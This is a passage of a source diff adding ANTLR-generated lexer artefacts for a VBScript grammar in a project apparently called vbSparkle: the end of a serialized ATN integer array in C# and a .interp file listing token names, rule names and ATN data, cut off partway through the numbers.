0,0,1891,1890,1,0,0,0,1892,1893,1,0,0,0,1893,1891,1,0,0,0,1893,1894,1, + 0,0,0,1894,1896,1,0,0,0,1895,1897,3,361,180,0,1896,1895,1,0,0,0,1896,1897, + 1,0,0,0,1897,424,1,0,0,0,1898,1900,2,48,57,0,1899,1898,1,0,0,0,1900,1901, + 1,0,0,0,1901,1899,1,0,0,0,1901,1902,1,0,0,0,1902,1907,1,0,0,0,1903,1904, + 7,4,0,0,1904,1906,3,425,212,0,1905,1903,1,0,0,0,1906,1909,1,0,0,0,1907, + 1905,1,0,0,0,1907,1908,1,0,0,0,1908,1913,1,0,0,0,1909,1907,1,0,0,0,1910, + 1914,3,383,191,0,1911,1914,3,377,188,0,1912,1914,3,365,182,0,1913,1910, + 1,0,0,0,1913,1911,1,0,0,0,1913,1912,1,0,0,0,1913,1914,1,0,0,0,1914,426, + 1,0,0,0,1915,1917,2,48,57,0,1916,1915,1,0,0,0,1917,1920,1,0,0,0,1918,1916, + 1,0,0,0,1918,1919,1,0,0,0,1919,1921,1,0,0,0,1920,1918,1,0,0,0,1921,1923, + 3,373,186,0,1922,1924,2,48,57,0,1923,1922,1,0,0,0,1924,1925,1,0,0,0,1925, + 1923,1,0,0,0,1925,1926,1,0,0,0,1926,1939,1,0,0,0,1927,1930,7,4,0,0,1928, + 1931,3,403,201,0,1929,1931,3,393,196,0,1930,1928,1,0,0,0,1930,1929,1,0, + 0,0,1930,1931,1,0,0,0,1931,1933,1,0,0,0,1932,1934,2,48,57,0,1933,1932, + 1,0,0,0,1934,1935,1,0,0,0,1935,1933,1,0,0,0,1935,1936,1,0,0,0,1936,1938, + 1,0,0,0,1937,1927,1,0,0,0,1938,1941,1,0,0,0,1939,1937,1,0,0,0,1939,1940, + 1,0,0,0,1940,1946,1,0,0,0,1941,1939,1,0,0,0,1942,1947,3,383,191,0,1943, + 1947,3,361,180,0,1944,1947,3,377,188,0,1945,1947,3,365,182,0,1946,1942, + 1,0,0,0,1946,1943,1,0,0,0,1946,1944,1,0,0,0,1946,1945,1,0,0,0,1946,1947, + 1,0,0,0,1947,428,1,0,0,0,1948,1950,3,383,191,0,1949,1951,3,453,226,0,1950, + 1949,1,0,0,0,1951,1952,1,0,0,0,1952,1950,1,0,0,0,1952,1953,1,0,0,0,1953, + 430,1,0,0,0,1954,1955,5,38,0,0,1955,1956,5,79,0,0,1956,1958,1,0,0,0,1957, + 1959,7,5,0,0,1958,1957,1,0,0,0,1959,1960,1,0,0,0,1960,1958,1,0,0,0,1960, + 1961,1,0,0,0,1961,1963,1,0,0,0,1962,1964,3,361,180,0,1963,1962,1,0,0,0, + 1963,1964,1,0,0,0,1964,432,1,0,0,0,1965,1967,3,387,193,0,1966,1968,7,6, + 0,0,1967,1966,1,0,0,0,1968,1969,1,0,0,0,1969,1967,1,0,0,0,1969,1970,1, + 0,0,0,1970,1971,1,0,0,0,1971,1973,3,393,196,0,1972,1974,7,6,0,0,1973,1972, + 1,0,0,0,1974,1975,1,0,0,0,1975,1973,1,0,0,0,1975,1976,1,0,0,0,1976,1977, + 1,0,0,0,1977,1979,3,393,196,0,1978,1980,7,6,0,0,1979,1978,1,0,0,0,1980, + 1981,1,0,0,0,1981,1979,1,0,0,0,1981,1982,1,0,0,0,1982,1983,1,0,0,0,1983, + 1985,3,393,196,0,1984,1986,7,6,0,0,1985,1984,1,0,0,0,1986,1987,1,0,0,0, + 1987,1985,1,0,0,0,1987,1988,1,0,0,0,1988,1989,1,0,0,0,1989,1991,3,393, + 196,0,1990,1992,7,6,0,0,1991,1990,1,0,0,0,1992,1993,1,0,0,0,1993,1991, + 1,0,0,0,1993,1994,1,0,0,0,1994,1995,1,0,0,0,1995,1996,3,409,204,0,1996, + 434,1,0,0,0,1997,2001,3,451,225,0,1998,2000,3,453,226,0,1999,1998,1,0, + 0,0,2000,2003,1,0,0,0,2001,1999,1,0,0,0,2001,2002,1,0,0,0,2002,436,1,0, + 0,0,2003,2001,1,0,0,0,2004,2006,3,445,222,0,2005,2004,1,0,0,0,2005,2006, + 1,0,0,0,2006,2007,1,0,0,0,2007,2009,3,449,224,0,2008,2010,3,445,222,0, + 2009,2008,1,0,0,0,2009,2010,1,0,0,0,2010,438,1,0,0,0,2011,2013,3,445,222, + 0,2012,2011,1,0,0,0,2012,2013,1,0,0,0,2013,2018,1,0,0,0,2014,2016,3,441, + 220,0,2015,2017,3,445,222,0,2016,2015,1,0,0,0,2016,2017,1,0,0,0,2017,2019, + 1,0,0,0,2018,2014,1,0,0,0,2019,2020,1,0,0,0,2020,2018,1,0,0,0,2020,2021, + 1,0,0,0,2021,440,1,0,0,0,2022,2023,5,58,0,0,2023,442,1,0,0,0,2024,2026, + 3,445,222,0,2025,2024,1,0,0,0,2025,2026,1,0,0,0,2026,2034,1,0,0,0,2027, + 2035,5,39,0,0,2028,2030,5,58,0,0,2029,2028,1,0,0,0,2029,2030,1,0,0,0,2030, + 2031,1,0,0,0,2031,2032,3,277,138,0,2032,2033,5,32,0,0,2033,2035,1,0,0, + 0,2034,2027,1,0,0,0,2034,2029,1,0,0,0,2035,2039,1,0,0,0,2036,2038,8,7, + 0,0,2037,2036,1,0,0,0,2038,2041,1,0,0,0,2039,2037,1,0,0,0,2039,2040,1, + 0,0,0,2040,2042,1,0,0,0,2041,2039,1,0,0,0,2042,2043,6,221,0,0,2043,444, + 1,0,0,0,2044,2046,7,8,0,0,2045,2044,1,0,0,0,2046,2047,1,0,0,0,2047,2045, + 1,0,0,0,2047,2048,1,0,0,0,2048,446,1,0,0,0,2049,2050,5,32,0,0,2050,2054, + 5,95,0,0,2051,2053,5,32,0,0,2052,2051,1,0,0,0,2053,2056,1,0,0,0,2054,2052, + 1,0,0,0,2054,2055,1,0,0,0,2055,2058,1,0,0,0,2056,2054,1,0,0,0,2057,2059, + 5,13,0,0,2058,2057,1,0,0,0,2058,2059,1,0,0,0,2059,2060,1,0,0,0,2060,2061, + 5,10,0,0,2061,2062,1,0,0,0,2062,2063,6,223,0,0,2063,448,1,0,0,0,2064,2066, + 5,13,0,0,2065,2064,1,0,0,0,2065,2066,1,0,0,0,2066,2067,1,0,0,0,2067,2070, + 5,10,0,0,2068,2070,7,9,0,0,2069,2065,1,0,0,0,2069,2068,1,0,0,0,2070,450, + 1,0,0,0,2071,2072,7,10,0,0,2072,452,1,0,0,0,2073,2074,7,11,0,0,2074,454, + 1,0,0,0,2075,2076,7,12,0,0,2076,456,1,0,0,0,2077,2078,7,13,0,0,2078,458, + 1,0,0,0,2079,2080,7,14,0,0,2080,460,1,0,0,0,2081,2082,7,15,0,0,2082,462, + 1,0,0,0,2083,2084,7,4,0,0,2084,464,1,0,0,0,2085,2086,7,16,0,0,2086,466, + 1,0,0,0,2087,2088,7,17,0,0,2088,468,1,0,0,0,2089,2090,7,18,0,0,2090,470, + 1,0,0,0,2091,2092,7,19,0,0,2092,472,1,0,0,0,2093,2094,7,20,0,0,2094,474, + 1,0,0,0,2095,2096,7,21,0,0,2096,476,1,0,0,0,2097,2098,7,22,0,0,2098,478, + 1,0,0,0,2099,2100,7,23,0,0,2100,480,1,0,0,0,2101,2102,7,24,0,0,2102,482, + 1,0,0,0,2103,2104,7,25,0,0,2104,484,1,0,0,0,2105,2106,7,26,0,0,2106,486, + 1,0,0,0,2107,2108,7,27,0,0,2108,488,1,0,0,0,2109,2110,7,28,0,0,2110,490, + 1,0,0,0,2111,2112,7,29,0,0,2112,492,1,0,0,0,2113,2114,7,30,0,0,2114,494, + 1,0,0,0,2115,2116,7,31,0,0,2116,496,1,0,0,0,2117,2118,7,32,0,0,2118,498, + 1,0,0,0,2119,2120,7,33,0,0,2120,500,1,0,0,0,2121,2122,7,34,0,0,2122,502, + 1,0,0,0,2123,2124,7,35,0,0,2124,504,1,0,0,0,2125,2126,7,36,0,0,2126,506, + 1,0,0,0,39,0,1868,1870,1879,1888,1893,1896,1901,1907,1913,1918,1925,1930, + 1935,1939,1946,1952,1960,1963,1969,1975,1981,1987,1993,2001,2005,2009, + 2012,2016,2020,2025,2029,2034,2039,2047,2054,2058,2065,2069,1,0,1,0 + }; + + public static readonly ATN _ATN = + new ATNDeserializer().Deserialize(_serializedATN); + + +} diff --git a/Sources/vbSparkle/VBScriptLexer.interp b/Sources/vbSparkle/VBScriptLexer.interp new file mode 100644 index 0000000..cb7042f --- /dev/null +++ b/Sources/vbSparkle/VBScriptLexer.interp @@ -0,0 +1,718 @@ +token literal names: +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +'&' +':=' +'@' +',' +null +'$' +'.' +'=' +'!' +'>=' +'>' +'#' +'<=' +'{' +'(' +'<' +'-' +'-=' +'*' +'<>' +'%' +'+' +'+=' +'^' +'}' +')' +';' +'[' +']' +null +null +null +null +null +null +null +null +null +null +null +':' +null +null +null + +token symbolic names: +null +ACCESS +ADDRESSOF +ALIAS +AND +ATTRIBUTE +APPACTIVATE +APPEND +AS +BEEP +BEGIN +BEGINPROPERTY +BINARY +BOOLEAN +BYVAL +BYREF +BYTE +CALL +CASE +CHDIR +CHDRIVE +CLASS +CLOSE +COLLECTION +CONST +DATE +PTRSAFE +DECLARE +DEFBOOL +DEFBYTE +DEFDATE +DEFDBL +DEFDEC +DEFCUR +DEFINT +DEFLNG +DEFOBJ +DEFSNG +DEFSTR +DEFVAR +DELETESETTING +DIM +DO +DOUBLE +EACH +ELSE +ELSEIF +END_ENUM +END_CLASS +END_FUNCTION +END_IF +END_PROPERTY +END_SELECT +END_SUB +END_TYPE +END_WITH +END +ENDPROPERTY +ENUM +EQV +ERASE +ERROR +EVENT +EXIT_DO +EXIT_FOR +EXIT_FUNCTION +EXIT_PROPERTY +EXIT_SUB +FALSE +FILECOPY +FRIEND +FOR +FUNCTION +GET +GLOBAL +GOSUB +GOTO +IF +IMP +IMPLEMENTS +IN +INPUT +IS +INTEGER +KILL +LOAD +LOCK +LONG +LOOP +LEN +LET +LIB +LIKE +LINE_INPUT +LOCK_READ +LOCK_WRITE +LOCK_READ_WRITE +LSET +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +ME +MID +MKDIR +MOD +NAME +NEXT +NEW +NOT +NOTHING +NULL +OBJECT +ON +ON_ERROR +ON_LOCAL_ERROR +OPEN +OPTIONAL +OPTION_BASE +OPTION_EXPLICIT +OPTION_COMPARE +OPTION_PRIVATE_MODULE +OR +OUTPUT +PARAMARRAY +PRESERVE +PRINT +PRIVATE +PROPERTY_GET +PROPERTY_LET +PROPERTY_SET +PUBLIC +PUT +RANDOM +RANDOMIZE +RAISEEVENT +READ +READ_WRITE +REDIM +REM +RESET +RESUME +RETURN +RMDIR +RSET +SAVEPICTURE +SAVESETTING +SEEK +SELECT +SENDKEYS +SET +SETATTR +SHARED +SINGLE +SPC +STATIC +DEFAULT +STEP +STOP +STRING +SUB +TAB +TEXT +THEN +TIME +TO +TRUE +TYPE +TYPEOF +UNLOAD +UNLOCK +UNTIL +VARIANT +VERSION +WEND +WHILE +WIDTH +WITH +WITHEVENTS +WRITE +XOR +AMPERSAND +ASSIGN +AT +COMMA +DIV +DOLLAR +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MINUS_EQ +MULT +NEQ +PERCENT +PLUS +PLUS_EQ +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +IDENTIFIER +NEWLINE +INLINE_SEP +INLN +COMMENT +WS +LINE_CONTINUATION + +rule names: +ACCESS +ADDRESSOF +ALIAS +AND +ATTRIBUTE +APPACTIVATE +APPEND +AS +BEEP +BEGIN +BEGINPROPERTY +BINARY +BOOLEAN +BYVAL +BYREF +BYTE +CALL +CASE +CHDIR +CHDRIVE +CLASS +CLOSE +COLLECTION +CONST +DATE +PTRSAFE +DECLARE +DEFBOOL +DEFBYTE +DEFDATE +DEFDBL +DEFDEC +DEFCUR +DEFINT +DEFLNG +DEFOBJ +DEFSNG +DEFSTR +DEFVAR +DELETESETTING +DIM +DO +DOUBLE +EACH +ELSE +ELSEIF +END_ENUM +END_CLASS +END_FUNCTION +END_IF +END_PROPERTY +END_SELECT +END_SUB +END_TYPE +END_WITH +END +ENDPROPERTY +ENUM +EQV +ERASE +ERROR +EVENT +EXIT_DO +EXIT_FOR +EXIT_FUNCTION +EXIT_PROPERTY +EXIT_SUB +FALSE +FILECOPY +FRIEND +FOR +FUNCTION +GET +GLOBAL +GOSUB +GOTO +IF +IMP +IMPLEMENTS +IN +INPUT +IS +INTEGER +KILL +LOAD +LOCK +LONG +LOOP +LEN +LET +LIB +LIKE +LINE_INPUT +LOCK_READ +LOCK_WRITE +LOCK_READ_WRITE +LSET +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +ME +MID +MKDIR +MOD +NAME +NEXT +NEW +NOT +NOTHING +NULL +OBJECT +ON +ON_ERROR +ON_LOCAL_ERROR +OPEN +OPTIONAL +OPTION_BASE +OPTION_EXPLICIT +OPTION_COMPARE +OPTION_PRIVATE_MODULE +OR +OUTPUT +PARAMARRAY +PRESERVE +PRINT +PRIVATE +PROPERTY_GET +PROPERTY_LET +PROPERTY_SET +PUBLIC +PUT +RANDOM +RANDOMIZE +RAISEEVENT +READ +READ_WRITE +REDIM +REM +RESET +RESUME +RETURN +RMDIR +RSET +SAVEPICTURE +SAVESETTING +SEEK +SELECT +SENDKEYS +SET +SETATTR +SHARED +SINGLE +SPC +STATIC +DEFAULT +STEP +STOP +STRING +SUB +TAB +TEXT +THEN +TIME +TO +TRUE +TYPE +TYPEOF +UNLOAD +UNLOCK +UNTIL +VARIANT +VERSION +WEND +WHILE +WIDTH +WITH +WITHEVENTS +WRITE +XOR +AMPERSAND +ASSIGN +AT +COMMA +DIV +DOLLAR +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MINUS_EQ +MULT +NEQ +PERCENT +PLUS +PLUS_EQ +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +IDENTIFIER +NEWLINE +INLINE_SEP +INLN +COMMENT +WS +LINE_CONTINUATION +NL +LETTER +LETTERORDIGIT +A +B +C +D +E +F +G +H +I +J +K +L +M +N +O +P +Q +R +S +T +U +V +W +X +Y +Z + +channel names: +DEFAULT_TOKEN_CHANNEL +HIDDEN + +mode names: +DEFAULT_MODE + +atn: +[4, 0, 224, 2127, 6, -1, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 2, 36, 7, 36, 2, 37, 7, 37, 2, 38, 7, 38, 2, 39, 7, 39, 2, 40, 7, 40, 2, 41, 7, 41, 2, 42, 7, 42, 2, 43, 7, 43, 2, 44, 7, 44, 2, 45, 7, 45, 2, 46, 7, 46, 2, 47, 7, 47, 2, 48, 7, 48, 2, 49, 7, 49, 2, 50, 7, 50, 2, 51, 7, 51, 2, 52, 7, 52, 2, 53, 7, 53, 2, 54, 7, 54, 2, 55, 7, 55, 2, 56, 7, 56, 2, 57, 7, 57, 2, 58, 7, 58, 2, 59, 7, 59, 2, 60, 7, 60, 2, 61, 7, 61, 2, 62, 7, 62, 2, 63, 7, 63, 2, 64, 7, 64, 2, 65, 7, 65, 2, 66, 7, 66, 2, 67, 7, 67, 2, 68, 7, 68, 2, 69, 7, 69, 2, 70, 7, 70, 2, 71, 7, 71, 2, 72, 7, 72, 2, 73, 7, 73, 2, 74, 7, 74, 2, 75, 7, 75, 2, 76, 7, 76, 2, 77, 7, 77, 2, 78, 7, 78, 2, 79, 7, 79, 2, 80, 7, 80, 2, 81, 7, 81, 2, 82, 7, 82, 2, 83, 7, 83, 2, 84, 7, 84, 2, 85, 7, 85, 2, 86, 7, 86, 2, 87, 7, 87, 2, 88, 7, 88, 2, 89, 7, 89, 2, 90, 7, 90, 2, 91, 7, 91, 2, 92, 7, 92, 2, 93, 7, 93, 2, 94, 7, 94, 2, 95, 7, 95, 2, 96, 7, 96, 2, 97, 7, 97, 2, 98, 7, 98, 2, 99, 7, 99, 2, 100, 7, 100, 2, 101, 7, 101, 2, 102, 7, 102, 2, 103, 7, 103, 2, 104, 7, 104, 2, 105, 7, 105, 2, 106, 7, 106, 2, 107, 7, 107, 2, 108, 7, 108, 2, 109, 7, 109, 2, 110, 7, 110, 2, 111, 7, 111, 2, 112, 7, 112, 2, 113, 7, 113, 2, 114, 7, 114, 2, 115, 7, 115, 2, 116, 7, 116, 2, 117, 7, 117, 2, 118, 7, 118, 2, 119, 7, 119, 2, 120, 7, 120, 2, 121, 7, 121, 2, 122, 7, 122, 2, 123, 7, 123, 2, 124, 7, 124, 2, 125, 7, 125, 2, 126, 7, 126, 2, 127, 7, 127, 2, 128, 7, 128, 2, 129, 7, 129, 2, 130, 7, 130, 2, 131, 7, 131, 2, 132, 7, 132, 2, 133, 7, 133, 2, 134, 7, 134, 2, 135, 7, 135, 2, 136, 7, 136, 2, 137, 7, 137, 2, 138, 7, 138, 2, 139, 7, 139, 2, 140, 7, 140, 2, 141, 7, 141, 2, 142, 7, 142, 2, 143, 7, 143, 2, 144, 7, 144, 2, 145, 7, 145, 2, 146, 7, 146, 2, 147, 7, 147, 2, 148, 7, 148, 2, 149, 7, 149, 2, 150, 7, 150, 2, 151, 7, 151, 2, 152, 7, 152, 2, 153, 7, 153, 2, 154, 7, 154, 2, 155, 7, 155, 2, 156, 7, 156, 2, 157, 7, 157, 2, 158, 7, 158, 2, 159, 7, 159, 2, 160, 7, 160, 2, 161, 7, 161, 2, 162, 7, 162, 2, 163, 7, 163, 2, 164, 7, 164, 2, 165, 7, 165, 2, 166, 7, 166, 2, 167, 7, 167, 2, 168, 7, 168, 2, 169, 7, 169, 2, 170, 7, 170, 2, 171, 7, 171, 2, 172, 7, 172, 2, 173, 7, 173, 2, 174, 7, 174, 2, 175, 7, 175, 2, 176, 7, 176, 2, 177, 7, 177, 2, 178, 7, 178, 2, 179, 7, 179, 2, 180, 7, 180, 2, 181, 7, 181, 2, 182, 7, 182, 2, 183, 7, 183, 2, 184, 7, 184, 2, 185, 7, 185, 2, 186, 7, 186, 2, 187, 7, 187, 2, 188, 7, 188, 2, 189, 7, 189, 2, 190, 7, 190, 2, 191, 7, 191, 2, 192, 7, 192, 2, 193, 7, 193, 2, 194, 7, 194, 2, 195, 7, 195, 2, 196, 7, 196, 2, 197, 7, 197, 2, 198, 7, 198, 2, 199, 7, 199, 2, 200, 7, 200, 2, 201, 7, 201, 2, 202, 7, 202, 2, 203, 7, 203, 2, 204, 7, 204, 2, 205, 7, 205, 2, 206, 7, 206, 2, 207, 7, 207, 2, 208, 7, 208, 2, 209, 7, 209, 2, 210, 7, 210, 2, 211, 7, 211, 2, 212, 7, 212, 2, 213, 7, 213, 2, 214, 7, 214, 2, 215, 7, 215, 2, 216, 7, 216, 2, 217, 7, 217, 2, 218, 7, 218, 2, 219, 7, 219, 2, 220, 7, 220, 2, 221, 7, 221, 2, 222, 7, 222, 2, 223, 7, 223, 2, 224, 7, 224, 2, 225, 7, 225, 2, 226, 7, 226, 2, 227, 7, 227, 2, 228, 7, 228, 2, 229, 7, 229, 2, 230, 7, 230, 2, 231, 7, 231, 2, 232, 7, 232, 2, 233, 7, 233, 2, 234, 7, 234, 2, 235, 7, 235, 2, 236, 7, 236, 2, 237, 7, 237, 2, 238, 7, 238, 2, 239, 7, 239, 2, 240, 7, 240, 2, 241, 7, 241, 2, 242, 7, 242, 2, 243, 7, 243, 2, 244, 7, 244, 2, 245, 7, 245, 2, 246, 7, 246, 2, 247, 7, 247, 2, 248, 7, 248, 2, 249, 7, 249, 2, 250, 7, 250, 2, 251, 7, 251, 2, 252, 7, 252, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 3, 1, 3, 1, 3, 1, 3, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 7, 1, 7, 1, 7, 1, 8, 1, 8, 1, 8, 1, 8, 1, 8, 1, 9, 1, 9, 1, 9, 1, 9, 1, 9, 1, 9, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 20, 1, 20, 1, 20, 1, 20, 1, 20, 1, 20, 1, 21, 1, 21, 1, 21, 1, 21, 1, 21, 1, 21, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 23, 1, 23, 1, 23, 1, 23, 1, 23, 1, 23, 1, 24, 1, 24, 1, 24, 1, 24, 1, 24, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 33, 1, 33, 1, 33, 1, 33, 1, 33, 1, 33, 1, 33, 1, 34, 1, 34, 1, 34, 1, 34, 1, 34, 1, 34, 1, 34, 1, 35, 1, 35, 1, 35, 1, 35, 1, 35, 1, 35, 1, 35, 1, 36, 1, 36, 1, 36, 1, 36, 1, 36, 1, 36, 1, 36, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 40, 1, 40, 1, 40, 1, 40, 1, 41, 1, 41, 1, 41, 1, 42, 1, 42, 1, 42, 1, 42, 1, 42, 1, 42, 1, 42, 1, 43, 1, 43, 1, 43, 1, 43, 1, 43, 1, 44, 1, 44, 1, 44, 1, 44, 1, 44, 1, 45, 1, 45, 1, 45, 1, 45, 1, 45, 1, 45, 1, 45, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 49, 1, 49, 1, 49, 1, 49, 1, 49, 1, 49, 1, 49, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 52, 1, 52, 1, 52, 1, 52, 1, 52, 1, 52, 1, 52, 1, 52, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 55, 1, 55, 1, 55, 1, 55, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 57, 1, 57, 1, 57, 1, 57, 1, 57, 1, 58, 1, 58, 1, 58, 1, 58, 1, 59, 1, 59, 1, 59, 1, 59, 1, 59, 1, 59, 1, 60, 1, 60, 1, 60, 1, 60, 1, 60, 1, 60, 1, 61, 1, 61, 1, 61, 1, 61, 1, 61, 1, 61, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 67, 1, 67, 1, 67, 1, 67, 1, 67, 1, 67, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 70, 1, 70, 1, 70, 1, 70, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 72, 1, 72, 1, 72, 1, 72, 1, 73, 1, 73, 1, 73, 1, 73, 1, 73, 1, 73, 1, 73, 1, 74, 1, 74, 1, 74, 1, 74, 1, 74, 1, 74, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 76, 1, 76, 1, 76, 1, 77, 1, 77, 1, 77, 1, 77, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 79, 1, 79, 1, 79, 1, 80, 1, 80, 1, 80, 1, 80, 1, 80, 1, 80, 1, 81, 1, 81, 1, 81, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 83, 1, 83, 1, 83, 1, 83, 1, 83, 1, 84, 1, 84, 1, 84, 1, 84, 1, 84, 1, 85, 1, 85, 1, 85, 1, 85, 1, 85, 1, 86, 1, 86, 1, 86, 1, 86, 1, 86, 1, 87, 1, 87, 1, 87, 1, 87, 1, 87, 1, 88, 1, 88, 1, 88, 1, 88, 1, 89, 1, 89, 1, 89, 1, 89, 1, 90, 1, 90, 1, 90, 1, 90, 1, 91, 1, 91, 1, 91, 1, 91, 1, 91, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 96, 1, 96, 1, 